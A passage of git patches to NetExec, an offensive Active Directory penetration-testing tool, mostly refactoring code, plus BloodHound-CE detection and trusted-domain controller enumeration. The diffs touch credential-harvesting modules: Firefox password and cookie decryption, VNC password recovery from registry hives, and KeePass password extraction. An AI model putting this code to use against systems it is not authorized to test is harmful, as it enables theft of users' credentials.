module_is_sane(self, module, module_path): self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)") module_error = True - if module_error: - return False - return True + return not module_error def load_module(self, module_path): """Load a module, initializing it and checking that it has the proper attributes""" diff --git a/nxc/protocols/ldap/bloodhound.py b/nxc/protocols/ldap/bloodhound.py index 4532b7a31f..14109de4e0 100644 --- a/nxc/protocols/ldap/bloodhound.py +++ b/nxc/protocols/ldap/bloodhound.py @@ -107,4 +107,4 @@ def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", file computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix) end_time = time.time() minutes, seconds = divmod(int(end_time - start_time), 60) - self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds)) + self.logger.highlight(f"Done in {minutes}M {seconds}S") diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index 3436a002c4..a90103598d 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -65,9 +65,7 @@ def is_option_enabled(self, option): result = self.mssql_conn.sql_query(query) # Assuming the query returns a list of dictionaries with 'config_value' as the key self.logger.debug(f"{option} check result: {result}") - if result and result[0]["config_value"] == 1: - return True - return False + return bool(result and result[0]["config_value"] == 1) def put_file(self, data, remote): try: From a4bdf2b1741b7b7a5ef2526704a2217ff2ea1822 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 14:24:09 -0400 Subject: [PATCH 024/103] Mostly ignore firefox because it will be removed anyway --- nxc/protocols/smb/firefox.py | 42 ++++++++++++++++++------------------ 1 file changed, 21 insertions(+), 21 deletions(-) diff --git a/nxc/protocols/smb/firefox.py b/nxc/protocols/smb/firefox.py index 7217b8bb52..8084fcd91c 100644 --- a/nxc/protocols/smb/firefox.py +++ b/nxc/protocols/smb/firefox.py @@ -18,12 +18,12 @@ CKA_ID = unhexlify("f8000000000000000000000000000001") +@dataclass class FirefoxData: - def __init__(self, winuser: str, url: str, username: str, password: str): - self.winuser = winuser - self.url = url - self.username = username - self.password = password + winuser: str + url: str + username: str + password: str @dataclass @@ -112,11 +112,11 @@ def run(self, gather_cookies=False): password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8") if password is not None and decoded_username is not None: data = FirefoxData( - winuser=user, - url=host, - username=decoded_username, - password=password, - ) + winuser=user, + url=host, + username=decoded_username, + password=password, + ) if self.per_secret_callback is not None: self.per_secret_callback(data) firefox_data.append(data) @@ -128,7 +128,7 @@ def run(self, gather_cookies=False): def parse_cookie_data(self, windows_user, cookies_data): cookies = [] - fh = tempfile.NamedTemporaryFile(delete=False) + fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115 fh.write(cookies_data) fh.seek(0) db = sqlite3.connect(fh.name) @@ -136,15 +136,15 @@ def parse_cookie_data(self, windows_user, cookies_data): cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;") for name, value, host, path, expiry, lastAccessed, creationTime in cursor: cookie = FirefoxCookie( - winuser=windows_user, - host=host, - path=path, - cookie_name=name, - cookie_value=value, - creation_utc=creationTime, - last_access_utc=lastAccessed, - expires_utc=expiry, - ) + winuser=windows_user, + host=host, + path=path, + cookie_name=name, + cookie_value=value, + creation_utc=creationTime, + last_access_utc=lastAccessed, + expires_utc=expiry, + ) if self.per_secret_callback is not None: self.per_secret_callback(cookie) cookies.append(cookie) @@ -167,7 +167,7 @@ def get_key(self, key4_data, master_password=b""): # Instead of disabling "delete" and removing the file manually, # in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution # Related issue: #134 - fh = tempfile.NamedTemporaryFile(delete=False) + fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115 fh.write(key4_data) fh.seek(0) db = sqlite3.connect(fh.name) From eb88dc542350753e2308fcd759c28039f2c9d821 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 14:41:29 -0400 Subject: [PATCH 025/103] Rename ElementTree to ET for consistency --- nxc/modules/keepass_trigger.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/modules/keepass_trigger.py b/nxc/modules/keepass_trigger.py index d9d56d4c93..df51c0c5a3 100644 --- a/nxc/modules/keepass_trigger.py +++ b/nxc/modules/keepass_trigger.py @@ -4,7 +4,7 @@ from csv import reader from base64 import b64encode from io import BytesIO, StringIO -from xml.etree import ElementTree +from xml.etree import ElementTree as ET from nxc.helpers.powershell import get_ps_script @@ -358,7 +358,7 @@ def trigger_added(self, context, connection): sys.exit(1) try: - keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue()) + keepass_config_xml_root = ET.fromstring(buffer.getvalue()) except Exception as e: context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}") sys.exit(1) @@ -377,7 +377,7 @@ def put_file_execute_delete(self, context, connection, psh_script_str): def extract_password(self, context): xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name) - xml_tree = ElementTree.parse(xml_doc_path) + xml_tree = ET.parse(xml_doc_path) root = xml_tree.getroot() root_entries = root.find("./Root/Entry") From bcf6b37eaf3d16411c821746dab89282d8ea9efd Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 14:41:55 -0400 Subject: [PATCH 026/103] Use context manager for files and improve code --- nxc/modules/mssql_priv.py | 4 +--- nxc/modules/vnc.py | 22 +++++++++++----------- nxc/modules/wcc.py | 4 ++-- 3 files changed, 14 insertions(+), 16 deletions(-) diff --git a/nxc/modules/mssql_priv.py b/nxc/modules/mssql_priv.py index 12f8e26576..0abe2f73ae 100644 --- a/nxc/modules/mssql_priv.py +++ b/nxc/modules/mssql_priv.py @@ -300,9 +300,7 @@ def is_db_owner(self, database, exec_as="") -> bool: WHERE rp.name = 'db_owner' AND mp.name = SYSTEM_USER """ res = self.query_and_get_output(exec_as + query) - if res and "database_role" in res[0] and res[0]["database_role"] == "db_owner": - return True - return False + return bool(res and "database_role" in res[0] and res[0]["database_role"] == "db_owner") def find_dbowner_priv(self, databases, exec_as="") -> list: """ diff --git a/nxc/modules/vnc.py b/nxc/modules/vnc.py index 6aa30f9a58..ff26a8a41e 100644 --- a/nxc/modules/vnc.py +++ b/nxc/modules/vnc.py @@ -128,17 +128,17 @@ def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None): self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}") continue else: - fh = tempfile.NamedTemporaryFile() - fh.write(ntuser_dat_bytes) - fh.seek(0) - reg = winregistry.Registry(fh.name, isRemote=False) - parent_key = reg.findKey(registry_path) - if parent_key is None: - continue - cred["user"] = reg.getValue(ntpath.join(registry_path, registry_keys[0]))[1].decode("latin-1") - password = reg.getValue(ntpath.join(registry_path, registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode() - cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1") - cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1") + with tempfile.NamedTemporaryFile() as fh: + fh.write(ntuser_dat_bytes) + fh.seek(0) + reg = winregistry.Registry(fh.name, isRemote=False) + parent_key = reg.findKey(registry_path) + if parent_key is None: + continue + cred["user"] = reg.getValue(ntpath.join(registry_path, registry_keys[0]))[1].decode("latin-1") + password = reg.getValue(ntpath.join(registry_path, registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode() + cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1") + cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1") self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") diff --git a/nxc/modules/wcc.py b/nxc/modules/wcc.py index 5dac602291..e2369d5ece 100644 --- a/nxc/modules/wcc.py +++ b/nxc/modules/wcc.py @@ -308,7 +308,7 @@ def check_registry(self, *specs, options=None, stop_on_error=False): value = self.reg_query_value(self.dce, self.connection, key, value_name) - if type(value) == DCERPCSessionError: + if isinstance(value, DCERPCSessionError): if options["KOIfMissing"]: ok = False if value.error_code in (ERROR_NO_MORE_ITEMS, ERROR_FILE_NOT_FOUND): @@ -464,7 +464,7 @@ def check_nbtns(self): nbtns_enabled = 0 for subkey in subkeys: value = self.reg_query_value(self.dce, self.connection, key_name + "\\" + subkey, "NetbiosOptions") - if type(value) == DCERPCSessionError: + if isinstance(value, DCERPCSessionError): if value.error_code == ERROR_OBJECT_NOT_FOUND: missing += 1 continue From d016fb61fddca8390fadfb5e227a148e36b3b7b4 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 27 Apr 2025 00:34:35 +0200 Subject: [PATCH 027/103] make nxc compatible with bloodhound-ce --- nxc/data/nxc.conf | 3 ++ nxc/protocols/ldap.py | 94 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 97 insertions(+) diff --git a/nxc/data/nxc.conf b/nxc/data/nxc.conf index 8554f9e858..faadf8a180 100755 --- a/nxc/data/nxc.conf +++ b/nxc/data/nxc.conf @@ -15,6 +15,9 @@ bh_port = 7687 bh_user = neo4j bh_pass = bloodhoundcommunityedition +[BloodHound-CE] +bhce_enabled = False + [Empire] api_host = 127.0.0.1 api_port = 1337 diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 18d1861fcc..9d83eb055f 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1200,6 +1200,100 @@ def gmsa_decrypt_lsa(self): self.logger.fail("No string provided :'(") def bloodhound(self): + + def get_bloodhound_info(): + """ + Detect which BloodHound package is installed (regular or CE) and its version. + + Returns: + tuple: (package_name, version, is_ce) + - package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None) + - version: Version string of the installed package (or None if not installed) + - is_ce: Boolean indicating if it's the Community Edition + """ + import importlib.metadata + import importlib.util + + # First check if any BloodHound package is available to import + if importlib.util.find_spec("bloodhound") is None: + return None, None, False + + # Try to get version info from both possible packages + version = None + package_name = None + is_ce = False + + # Check for bloodhound-ce first + try: + version = importlib.metadata.version("bloodhound-ce") + package_name = "bloodhound-ce" + is_ce = True + except importlib.metadata.PackageNotFoundError: + # Check for regular bloodhound + try: + version = importlib.metadata.version("bloodhound") + package_name = "bloodhound" + + # Even when installed as 'bloodhound', check if it's actually the CE version + if version and ("ce" in version.lower() or "community" in version.lower()): + is_ce = True + except importlib.metadata.PackageNotFoundError: + # No bloodhound package found via metadata + pass + + # In case we can import it but metadata is not working, check the module itself + if not version: + try: + import bloodhound + version = getattr(bloodhound, "__version__", "unknown") + package_name = "bloodhound" + + # Check if it's CE based on version string + if "ce" in version.lower() or "community" in version.lower(): + is_ce = True + package_name = "bloodhound-ce" + except ImportError: + pass + + return package_name, version, is_ce + + import configparser + config = configparser.ConfigParser() + config.read(os.path.expanduser("~/.nxc/nxc.conf")) + # Check which version is desired + use_bhce = config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) + package_name, version, is_ce = get_bloodhound_info() + + try: + if use_bhce and not is_ce: + self.logger.fail("⚠️ Configuration Issue Detected ⚠️") + self.logger.fail("Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your ~/.nxc/nxc.conf config file or follow the instructions:") + self.logger.fail("Please run the following commands to fix this:") + self.logger.fail("poetry remove bloodhound") + self.logger.fail("poetry add bloodhound-ce") + + # If using pipx + self.logger.fail("Or if you installed with pipx:") + self.logger.fail("pipx inject netexec bloodhound-ce --force") + self.logger.fail("pipx runpip netexec uninstall -y bloodhound") + return False + + elif not use_bhce and is_ce: + self.logger.fail("⚠️ Configuration Issue Detected ⚠️") + self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") + self.logger.fail("Please run the following commands to fix this:") + self.logger.fail("poetry remove bloodhound-ce") + self.logger.fail("poetry add bloodhound") + + # If using pipx + self.logger.fail("Or if you installed with pipx:") + self.logger.fail("pipx inject netexec bloodhound --force") + self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") + return False + + except importlib.metadata.PackageNotFoundError: + pass + auth = ADAuthentication( username=self.username, password=self.password, From 26588a490e9257ac4b792d2c24247361a5215414 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 27 Apr 2025 00:36:30 +0200 Subject: [PATCH 028/103] fix ruff --- nxc/protocols/ldap.py | 57 ++++++++++++++++++++----------------------- 1 file changed, 27 insertions(+), 30 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 9d83eb055f..1c7754b9ed 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1205,7 +1205,8 @@ def get_bloodhound_info(): """ Detect which BloodHound package is installed (regular or CE) and its version. - Returns: + Returns + ------- tuple: (package_name, version, is_ce) - package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None) - version: Version string of the installed package (or None if not installed) @@ -1264,35 +1265,31 @@ def get_bloodhound_info(): use_bhce = config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) package_name, version, is_ce = get_bloodhound_info() - try: - if use_bhce and not is_ce: - self.logger.fail("⚠️ Configuration Issue Detected ⚠️") - self.logger.fail("Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your ~/.nxc/nxc.conf config file or follow the instructions:") - self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound") - self.logger.fail("poetry add bloodhound-ce") - - # If using pipx - self.logger.fail("Or if you installed with pipx:") - self.logger.fail("pipx inject netexec bloodhound-ce --force") - self.logger.fail("pipx runpip netexec uninstall -y bloodhound") - return False + if use_bhce and not is_ce: + self.logger.fail("⚠️ Configuration Issue Detected ⚠️") + self.logger.fail("Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your ~/.nxc/nxc.conf config file or follow the instructions:") + self.logger.fail("Please run the following commands to fix this:") + self.logger.fail("poetry remove bloodhound") + self.logger.fail("poetry add bloodhound-ce") + + # If using pipx + self.logger.fail("Or if you installed with pipx:") + self.logger.fail("pipx inject netexec bloodhound-ce --force") + self.logger.fail("pipx runpip netexec uninstall -y bloodhound") + return False - elif not use_bhce and is_ce: - self.logger.fail("⚠️ Configuration Issue Detected ⚠️") - self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") - self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound-ce") - self.logger.fail("poetry add bloodhound") - - # If using pipx - self.logger.fail("Or if you installed with pipx:") - self.logger.fail("pipx inject netexec bloodhound --force") - self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") - return False - - except importlib.metadata.PackageNotFoundError: - pass + elif not use_bhce and is_ce: + self.logger.fail("⚠️ Configuration Issue Detected ⚠️") + self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") + self.logger.fail("Please run the following commands to fix this:") + self.logger.fail("poetry remove bloodhound-ce") + self.logger.fail("poetry add bloodhound") + + # If using pipx + self.logger.fail("Or if you installed with pipx:") + self.logger.fail("pipx inject netexec bloodhound --force") + self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") + return False auth = ADAuthentication( username=self.username, @@ -1313,7 +1310,7 @@ def get_bloodhound_info(): ) collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection) if not collect: - return + return None self.logger.highlight("Resolved collection methods: " + ", ".join(list(collect))) self.logger.debug("Using DNS to retrieve domain information") From 3af68e3f9d7298e7e82ca4763a7ee5ff2cec6ed1 Mon Sep 17 00:00:00 2001 From: termanix Date: Mon, 3 Mar 2025 19:18:04 -0500 Subject: [PATCH 029/103] Now check trusted domains DCs --- nxc/protocols/ldap.py | 116 ++++++++++++++++++++++++++++++++++-------- 1 file changed, 94 insertions(+), 22 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index de7faf9cca..c7342c766e 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -776,51 +776,123 @@ def dc_list(self): resolv.nameservers = [self.host] resolv.timeout = self.args.dns_timeout - search_filter = "(&(objectCategory=computer)(primaryGroupId=516))" - attributes = ["dNSHostName"] - resp = self.search(search_filter, attributes, 0) - resp_parse = parse_result_attributes(resp) - - for item in resp_parse: - name = item.get("dNSHostName", "") # Get dNSHostName attribute or empty string + # Function to resolve and display hostnames + def resolve_and_display_hostname(name, domain_name=None): + prefix = f"[{domain_name}] " if domain_name else "" try: # Resolve using DNS server for A, AAAA, CNAME, PTR, and NS records if name: - found_record = False # Flag to check if any record is found - + found_record = False for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]: - if found_record: + if found_record: # Flag to check if any record is found break # If a record has been found, stop checking further - try: answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp) for rdata in answers: if record_type in ["A", "AAAA"]: ip_address = rdata.to_text() - self.logger.highlight(f"{name} = {colored(ip_address, host_info_colors[0])}") - found_record = True # Set flag to true since a record is found + self.logger.highlight(f"{prefix}{name} = {colored(ip_address, host_info_colors[0])}") + found_record = True # Set flag to true since a record is found elif record_type == "CNAME": - self.logger.highlight(f"{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}") + self.logger.highlight(f"{prefix}{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}") found_record = True elif record_type == "PTR": - self.logger.highlight(f"{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}") + self.logger.highlight(f"{prefix}{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}") found_record = True elif record_type == "NS": - self.logger.highlight(f"{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") + self.logger.highlight(f"{prefix}{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") found_record = True except resolv.NXDOMAIN: - self.logger.fail(f"{name} = Host not found (NXDOMAIN)") + self.logger.fail(f"{prefix}{name} = Host not found (NXDOMAIN)") except resolv.Timeout: - self.logger.fail(f"{name} = Connection timed out") + self.logger.fail(f"{prefix}{name} = Connection timed out") except resolv.NoAnswer: - self.logger.fail(f"{name} = DNS server did not respond") + self.logger.fail(f"{prefix}{name} = DNS server did not respond") except Exception as e: - self.logger.fail(f"{name} encountered an unexpected error: {e}") + self.logger.fail(f"{prefix}{name} encountered an unexpected error: {e}") else: - self.logger.fail("dNSHostName value is empty, unable to process.") + self.logger.fail(f"{prefix}dNSHostName value is empty, unable to process.") except Exception as e: self.logger.fail("General Error:", exc_info=True) - self.logger.fail(f"Skipping item(dNSHostName) {name}, error: {e}") + self.logger.fail(f"Skipping item(dNSHostName) {prefix}{name}, error: {e}") + + # Find all domain controllers in the current domain + self.logger.info("Enumerating Domain Controllers in current domain...") + search_filter = "(&(objectCategory=computer)(primaryGroupId=516))" + attributes = ["dNSHostName"] + resp = self.search(search_filter, attributes, 0) + resp_parse = parse_result_attributes(resp) + for item in resp_parse: + name = item.get("dNSHostName", "") # Get dNSHostName attribute or empty string + resolve_and_display_hostname(name) + + # Find all trusted domains + self.logger.info("Enumerating Trusted Domains...") + search_filter = "(objectClass=trustedDomain)" + attributes = ["name", "trustDirection", "trustType", "trustAttributes", "flatName"] + resp = self.search(search_filter, attributes, 0) + trust_resp_parse = parse_result_attributes(resp) + + if trust_resp_parse: + # Find domain controllers for each trusted domain + for trust in trust_resp_parse: + trust_name = trust.get("name", "") + trust_flat_name = trust.get("flatName", "") + trust_direction = trust.get("trustDirection", 0) + trust_type = trust.get("trustType", 0) + + # Convert trust direction/type to human-readable format + direction_text = { + 0: "Disabled", + 1: "Inbound", + 2: "Outbound", + 3: "Bidirectional" + }.get(int(trust_direction) if trust_direction else 0, "Unknown") + + trust_type_text = { + 1: "Windows NT", + 2: "Active Directory", + 3: "Kerberos", + 4: "DCE" + }.get(int(trust_type) if trust_type else 0, "Unknown") + + self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})") + self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}") + + # Only process if it's an Active Directory trust + if int(trust_type) == 2: + # Try to find domain controllers in trusted domain using DNS + try: + # Check if we can resolve the trusted domain's DC using DNS + dc_dns_name = f"_ldap._tcp.dc._msdcs.{trust_name}" + try: + srv_records = resolv.resolve(dc_dns_name, "SRV", tcp=self.args.dns_tcp) + self.logger.info(f"Found domain controllers for trusted domain {trust_name} via DNS:") + for srv in srv_records: + dc_hostname = str(srv.target).rstrip(".") + self.logger.highlight(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0])}") + resolve_and_display_hostname(dc_hostname) + except Exception as e: + self.logger.fail(f"Failed to resolve DCs for {trust_name} via DNS: {e}") + + # If DNS resolution fails, try alternative method using NETLOGON + # Note: This would require additional implementation for NETLOGON querying + self.logger.info(f"Attempting alternative discovery methods for {trust_name}...") + + # Try to find a domain controller through the DFS referrals + try: + # Try to query for the netlogon share which typically exists on all DCs + netlogon_name = f"\\\\{trust_name}\\netlogon" + self.logger.info(f"Attempting to locate DC through netlogon share: {netlogon_name}") + # Implementation for netlogon query would go here + except Exception as e: + self.logger.fail(f"Failed to find DC through netlogon for {trust_name}: {e}") + except Exception as e: + self.logger.fail(f"Error processing trusted domain {trust_name}: {e}") + else: + self.logger.info(f"Skipping non-Active Directory trust: {trust_name}") + + self.logger.info("Domain Controller enumeration complete.") def active_users(self): if len(self.args.active_users) > 0: From bab540d7346710feeb26af24d4c62ecd581862f7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 30 Mar 2025 10:39:55 -0400 Subject: [PATCH 030/103] Add missing trust_type_text value, ref: MS-ADTS --- nxc/protocols/ldap.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index c7342c766e..6e70c45431 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -840,20 +840,21 @@ def resolve_and_display_hostname(name, domain_name=None): trust_flat_name = trust.get("flatName", "") trust_direction = trust.get("trustDirection", 0) trust_type = trust.get("trustType", 0) - + # Convert trust direction/type to human-readable format direction_text = { 0: "Disabled", 1: "Inbound", 2: "Outbound", - 3: "Bidirectional" + 3: "Bidirectional", }.get(int(trust_direction) if trust_direction else 0, "Unknown") - + trust_type_text = { 1: "Windows NT", 2: "Active Directory", 3: "Kerberos", - 4: "DCE" + 4: "DCE", + 5: "Azure Active Directory", }.get(int(trust_type) if trust_type else 0, "Unknown") self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})") From 23769d7755600fea4b73f01afd6b554244cd6bb9 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 30 Mar 2025 10:40:37 -0400 Subject: [PATCH 031/103] Remove unnecessary try&except block and display trust domains we are skipping --- nxc/protocols/ldap.py | 51 ++++++++++++++++++++----------------------- 1 file changed, 24 insertions(+), 27 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 6e70c45431..c6a7f57ac1 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -856,42 +856,39 @@ def resolve_and_display_hostname(name, domain_name=None): 4: "DCE", 5: "Azure Active Directory", }.get(int(trust_type) if trust_type else 0, "Unknown") - + self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})") self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}") - + # Only process if it's an Active Directory trust if int(trust_type) == 2: # Try to find domain controllers in trusted domain using DNS + # Check if we can resolve the trusted domain's DC using DNS + dc_dns_name = f"_ldap._tcp.dc._msdcs.{trust_name}" try: - # Check if we can resolve the trusted domain's DC using DNS - dc_dns_name = f"_ldap._tcp.dc._msdcs.{trust_name}" + srv_records = resolv.resolve(dc_dns_name, "SRV", tcp=self.args.dns_tcp) + self.logger.info(f"Found domain controllers for trusted domain {trust_name} via DNS:") + for srv in srv_records: + dc_hostname = str(srv.target).rstrip(".") + self.logger.highlight(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0])}") + resolve_and_display_hostname(dc_hostname) + except Exception as e: + self.logger.fail(f"Failed to resolve DCs for {trust_name} via DNS: {e}") + + # If DNS resolution fails, try alternative method using NETLOGON + # Note: This would require additional implementation for NETLOGON querying + self.logger.info(f"Attempting alternative discovery methods for {trust_name}...") + + # Try to find a domain controller through the DFS referrals try: - srv_records = resolv.resolve(dc_dns_name, "SRV", tcp=self.args.dns_tcp) - self.logger.info(f"Found domain controllers for trusted domain {trust_name} via DNS:") - for srv in srv_records: - dc_hostname = str(srv.target).rstrip(".") - self.logger.highlight(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0])}") - resolve_and_display_hostname(dc_hostname) + # Try to query for the netlogon share which typically exists on all DCs + netlogon_name = f"\\\\{trust_name}\\netlogon" + self.logger.info(f"Attempting to locate DC through netlogon share: {netlogon_name}") + # Implementation for netlogon query would go here except Exception as e: - self.logger.fail(f"Failed to resolve DCs for {trust_name} via DNS: {e}") - - # If DNS resolution fails, try alternative method using NETLOGON - # Note: This would require additional implementation for NETLOGON querying - self.logger.info(f"Attempting alternative discovery methods for {trust_name}...") - - # Try to find a domain controller through the DFS referrals - try: - # Try to query for the netlogon share which typically exists on all DCs - netlogon_name = f"\\\\{trust_name}\\netlogon" - self.logger.info(f"Attempting to locate DC through netlogon share: {netlogon_name}") - # Implementation for netlogon query would go here - except Exception as e: - self.logger.fail(f"Failed to find DC through netlogon for {trust_name}: {e}") - except Exception as e: - self.logger.fail(f"Error processing trusted domain {trust_name}: {e}") + self.logger.fail(f"Failed to find DC through netlogon for {trust_name}: {e}") else: - self.logger.info(f"Skipping non-Active Directory trust: {trust_name}") + self.logger.display(f"Skipping non-Active Directory trust '{trust_name}' with type: {trust_type_text} and direction: {direction_text}") self.logger.info("Domain Controller enumeration complete.") From c1a0f140e129136c87dfbb8965cc5f25724b7e64 Mon Sep 17 00:00:00 2001 From: termanix Date: Tue, 1 Apr 2025 17:56:47 -0400 Subject: [PATCH 032/103] Thought, would implement it with netlogon but not have time for now, maybe later lol --- nxc/protocols/ldap.py | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index c6a7f57ac1..4be88fc736 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -874,22 +874,8 @@ def resolve_and_display_hostname(name, domain_name=None): resolve_and_display_hostname(dc_hostname) except Exception as e: self.logger.fail(f"Failed to resolve DCs for {trust_name} via DNS: {e}") - - # If DNS resolution fails, try alternative method using NETLOGON - # Note: This would require additional implementation for NETLOGON querying - self.logger.info(f"Attempting alternative discovery methods for {trust_name}...") - - # Try to find a domain controller through the DFS referrals - try: - # Try to query for the netlogon share which typically exists on all DCs - netlogon_name = f"\\\\{trust_name}\\netlogon" - self.logger.info(f"Attempting to locate DC through netlogon share: {netlogon_name}") - # Implementation for netlogon query would go here - except Exception as e: - self.logger.fail(f"Failed to find DC through netlogon for {trust_name}: {e}") else: self.logger.display(f"Skipping non-Active Directory trust '{trust_name}' with type: {trust_type_text} and direction: {direction_text}") - self.logger.info("Domain Controller enumeration complete.") def active_users(self): From e993fbd0fce1411af81a60274b14d4b6c0055874 Mon Sep 17 00:00:00 2001 From: termanix Date: Tue, 1 Apr 2025 19:14:49 -0400 Subject: [PATCH 033/103] Refactored to enforce direct attribute access, preventing misleading classifications and improving error handling. --- nxc/protocols/ldap.py | 56 +++++++++++++++++++++++-------------------- 1 file changed, 30 insertions(+), 26 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4be88fc736..458e6bf81a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -823,8 +823,9 @@ def resolve_and_display_hostname(name, domain_name=None): resp = self.search(search_filter, attributes, 0) resp_parse = parse_result_attributes(resp) for item in resp_parse: - name = item.get("dNSHostName", "") # Get dNSHostName attribute or empty string - resolve_and_display_hostname(name) + if "dNSHostName" in item: # Get dNSHostName attribute + name = item["dNSHostName"] + resolve_and_display_hostname(name) # Find all trusted domains self.logger.info("Enumerating Trusted Domains...") @@ -834,31 +835,34 @@ def resolve_and_display_hostname(name, domain_name=None): trust_resp_parse = parse_result_attributes(resp) if trust_resp_parse: - # Find domain controllers for each trusted domain for trust in trust_resp_parse: - trust_name = trust.get("name", "") - trust_flat_name = trust.get("flatName", "") - trust_direction = trust.get("trustDirection", 0) - trust_type = trust.get("trustType", 0) - - # Convert trust direction/type to human-readable format - direction_text = { - 0: "Disabled", - 1: "Inbound", - 2: "Outbound", - 3: "Bidirectional", - }.get(int(trust_direction) if trust_direction else 0, "Unknown") - - trust_type_text = { - 1: "Windows NT", - 2: "Active Directory", - 3: "Kerberos", - 4: "DCE", - 5: "Azure Active Directory", - }.get(int(trust_type) if trust_type else 0, "Unknown") - - self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})") - self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}") + try: + trust_name = trust["name"] + trust_flat_name = trust["flatName"] + trust_direction = int(trust["trustDirection"]) + trust_type = int(trust["trustType"]) + + # Convert trust direction/type to human-readable format + direction_text = { + 0: "Disabled", + 1: "Inbound", + 2: "Outbound", + 3: "Bidirectional", + }[trust_direction] + + trust_type_text = { + 1: "Windows NT", + 2: "Active Directory", + 3: "Kerberos", + 4: "DCE", + 5: "Azure Active Directory", + }[trust_type] + + self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})") + self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}") + + except Exception as e: + self.logger.fail(f"Failed {e} in trust entry: {trust}") # Only process if it's an Active Directory trust if int(trust_type) == 2: From 